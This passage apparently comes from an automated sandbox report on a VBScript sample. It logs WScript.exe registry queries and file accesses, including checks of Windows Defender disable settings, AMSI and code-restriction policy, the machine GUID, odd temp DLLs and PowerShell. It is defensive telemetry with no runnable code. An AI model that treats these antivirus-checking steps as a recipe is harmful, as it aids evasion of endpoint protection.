Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000602XX"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.VBS"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\VBSFILE\SCRIPTENGINE"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\VBSCRIPT\CLSID"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "MAXIMUMALLOWEDALLOCATIONSIZE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COM3"; Key: "COM+ENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "MAXSXSHASHCOUNT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}"; Key: "APPID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "75697175-75E2-4D85-83BC-7278ACC12DE4"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "7A01E7FB-B6A4-4585-B1A8-EA2094ECB4C5"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: "PROGRAMDATA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: "PUBLIC"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: "DEFAULT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "PROGRAMFILESDIR"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "COMMONFILESDIR"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "PROGRAMFILESDIR (X86)"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "COMMONFILESDIR (X86)"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "PROGRAMW6432DIR"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "COMMONW6432DIR"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9BA8500E-4C9D-4FB8-B6A6-66E5D227B8A6}\INPROCSERVER32"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\PROGID"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{BB1A2AE1-A4F9-11CF-8F20-00805F2CD064}"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{C7EF7658-E1EE-480E-97EA-D52CB4D76D17}"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{539698A0-CDCA-11CF-A5EB-00AA0047A063}"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP"; Key: "RULECOUNT"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CERTIFICATE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$DLL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CERTIFICATE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$FUNCTION"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\FINALPOLICY\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$DLL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\FINALPOLICY\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$FUNCTION"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\INITIALIZATION\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$DLL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\INITIALIZATION\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$FUNCTION"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\MESSAGE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$DLL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\MESSAGE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$FUNCTION"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\SIGNATURE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$DLL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\SIGNATURE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$FUNCTION"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CERTCHECK\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$DLL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CERTCHECK\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$FUNCTION"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CLEANUP\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$DLL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CLEANUP\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: "$FUNCTION"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER"; Key: "TYPE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER"; Key: "IMAGE PATH"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\CRYPTOGRAPHY"; Key: "PRIVKEYCACHEMAXITEMS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\CRYPTOGRAPHY"; Key: "PRIVKEYCACHEPURGEINTERVALSECONDS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\CRYPTOGRAPHY"; Key: "PRIVATEKEYLIFETIMESECONDS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING"; Key: "STATE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "SAFETY WARNING LEVEL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: "EN-US"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: "EN"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCSERVER32"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}"; Key: "APPID"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCSERVER32"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}"; Key: "APPID"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WSCRIPT.SHELL\CLSID"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCSERVER32"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\PROGID"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC\EXTENSIONS"; Key: "NDROLEEXTDLL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\WIN64"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{B722BCCB-4E68-101B-A2BC-00AA00404770}"; Key: ""; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "DB30E9DC-354D-48B5-9DC0-AEAEBC5C6B54"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "E4B70372-261F-4C54-8FA6-A5A7914D73DA"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "PRODUCTAPPDATAPATH"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\REMOVALTOOLS\MRT"; Key: "GUID"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON"; Key: "USERENVDEBUGLEVEL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "GPSVCDEBUGLEVEL"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT"; Key: "ENABLEREMOTEMANAGEDDEFAULTS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "DISABLELOCALADMINMERGE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "PRODUCTGUID"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "PRODUCTGUID"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "BETAPLATFORM"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "BETAPLATFORM"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "INSTALLLOCATION"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "MANAGEDDEFENDERPRODUCTTYPE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "MANAGEDDEFENDERPRODUCTTYPE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "PASSIVEMODE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "PASSIVEMODE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "7AF898D7-7E0E-518D-5F96-B1E79239484C"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "DISABLEANTIVIRUS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "DISABLEANTIVIRUS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "DISABLEANTISPYWARE"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "LOCALSETTINGOVERRIDEDISABLEREALTIMEMONITORING"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEREALTIMEMONITORING"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER"; Key: "ENABLEREMOTEMANAGEDDEFAULTS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "ENABLEREMOTEMANAGEDDEFAULTS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "ENABLESHELLEXECUTEHOOKS"; Value: ""), "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "ENABLESHELLEXECUTEHOOKS"; Value: "")32:T2743,"WScript.exe" trying to touch file "C:\Windows\System32\version.dll" "WScript.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "WScript.exe" trying to touch file "C:\Windows\System32\ole32.dll" "WScript.exe" trying to touch file "C:\Windows\System32\imm32.dll" "WScript.exe" trying to touch file "C:\Windows\System32\en-US\wscript.exe.mui" "WScript.exe" trying to touch file "C:\Windows\System32\oleaut32.dll" "WScript.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "WScript.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\kernelbase.dll" "WScript.exe" trying to touch file "C:\Windows\System32\rpcss.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\rpcss.dll" "WScript.exe" trying to touch file "C:\Windows\System32\uxtheme.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\uxtheme.dll" "WScript.exe" trying to touch file "C:\Windows\System32\wscript.exe" "WScript.exe" trying to touch file "C:\WINDOWS\System32\WScript.exe" "WScript.exe" trying to touch file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WScript.exe" trying to touch file "C:\Windows\System32\sxs.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\sxs.dll" "WScript.exe" trying to touch file "C:\Windows\System32\dwmapi.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\dwmapi.dll" "WScript.exe" trying to touch file "C:\Windows\Registration\R00000000000d.clb" "WScript.exe" trying to touch file "C:\Windows\System32\vbscript.dll" "WScript.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\kernel32.dll" "WScript.exe" trying to touch file "C:\Windows\System32\amsi.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\amsi.dll" "WScript.exe" trying to touch file "C:\Windows\System32\cryptsp.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\cryptsp.dll" "WScript.exe" trying to touch file "C:\Windows\System32\userenv.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\USERENV.dll" "WScript.exe" trying to touch file "C:\WINDOWS\TEMP" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\MpOAV.dll" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MpOav.dll" "WScript.exe" trying to touch file "C:\Windows\System32\MLbPPPQo.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\MLbPPPQo.dll" "WScript.exe" trying to touch file "C:\43564.vbs" "WScript.exe" trying to touch file "C:\Windows\System32\wldp.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\WLDP.DLL" "WScript.exe" trying to touch file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to touch file "C:\Windows\System32\rsaenh.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\rsaenh.dll" "WScript.exe" trying to touch file "C:\Windows\System32\bcrypt.dll" "WScript.exe" trying to touch file "C:\WINDOWS\System32\bcrypt.dll" "WScript.exe" trying to touch file "C:\Windows\System32\cryptbase.dll" "WScript.exe" trying to touch file "C:\WINDOWS\System32\CRYPTBASE.dll" "WScript.exe" trying to touch file "C:\Windows\System32\msisip.dll" "WScript.exe" trying to touch file "C:\Windows\System32\MSISIP.DLL" "WScript.exe" trying to touch file "C:\Windows\System32\wshext.dll" "WScript.exe" trying to touch file "C:\Windows\System32\scrobj.dll" "WScript.exe" trying to touch file "C:\Windows\System32\mlang.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\mlang.dll" "WScript.exe" trying to touch file "C:\Windows\System32\wshom.ocx" "WScript.exe" trying to touch file "C:\Windows\System32\mpr.dll" "WScript.exe" trying to touch file "C:\Windows\System32\MPR.dll" "WScript.exe" trying to touch file "C:\Windows\System32\scrrun.dll" "WScript.exe" trying to touch file "C:\Windows\System32\ScrRun.dll" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\MpClient.dll" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "WScript.exe" trying to touch file "C:\Windows\System32\slc.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\SLC.dll" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "WScript.exe" trying to touch file "C:\Windows\System32\sppc.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\sppc.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\version.dll" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\MsMpLics.dll" "WScript.exe" trying to touch file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\kernel32.dll" "WScript.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Local" "WScript.exe" trying to touch file "C:\ProgramData" "WScript.exe" trying to touch file "C:\Windows\System32\gpapi.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\gpapi.dll" "WScript.exe" trying to touch file "C:\WINDOWS\system32\advapi32.dll" "WScript.exe" trying to touch file "C:\" "WScript.exe" trying to touch file "C:\Windows\System32\propsys.dll" "WScript.exe" trying to touch file "C:\WINDOWS\System32\PROPSYS.dll" "WScript.exe" trying to touch file "C:\Windows\System32\OneCoreUAPCommonProxyStub.dll" "WScript.exe" trying to touch file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "WScript.exe" trying to touch file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" "WScript.exe" trying to touch file "C:\Windows\System32\cldapi.dll" "WScript.exe" trying to touch file "C:\WINDOWS\System32\CLDAPI.dll" "WScript.exe" trying to touch file "C:\Windows\System32\aepic.dll" "WScript.exe" trying to touch file "C:\WINDOWS\System32\AEPIC.dll" "WScript.exe" trying to touch file "C:\Windows\System32\ntmarta.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\ntmarta.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\ole32.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\imm32.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\en-US\wscript.exe.mui" "WScript.exe" trying to touch file "%WINDIR%\System32\oleaut32.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\fltLib.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\rpcss.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\uxtheme.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\wscript.exe" "WScript.exe" trying to touch file "%WINDIR%\Globalization\Sorting\SortDefault.nls" "WScript.exe" trying to touch file "%WINDIR%\System32\sxs.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\dwmapi.dll" "WScript.exe" trying to touch file "%WINDIR%\Registration\R00000000000d.clb" "WScript.exe" trying to touch file "%WINDIR%\System32\vbscript.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\amsi.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\cryptsp.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\userenv.dll" "WScript.exe" trying to touch file "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\MpOAV.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\MLbPPPQo.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\wldp.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\AppLocker\MDM" "WScript.exe" trying to touch file "%WINDIR%\System32\rsaenh.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\bcrypt.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\cryptbase.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\msisip.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\wshext.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\scrobj.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\mlang.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\mpr.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\scrrun.dll" "WScript.exe" trying to touch file "%WINDIR%\System32\wshom.ocx" "WScript.exe" 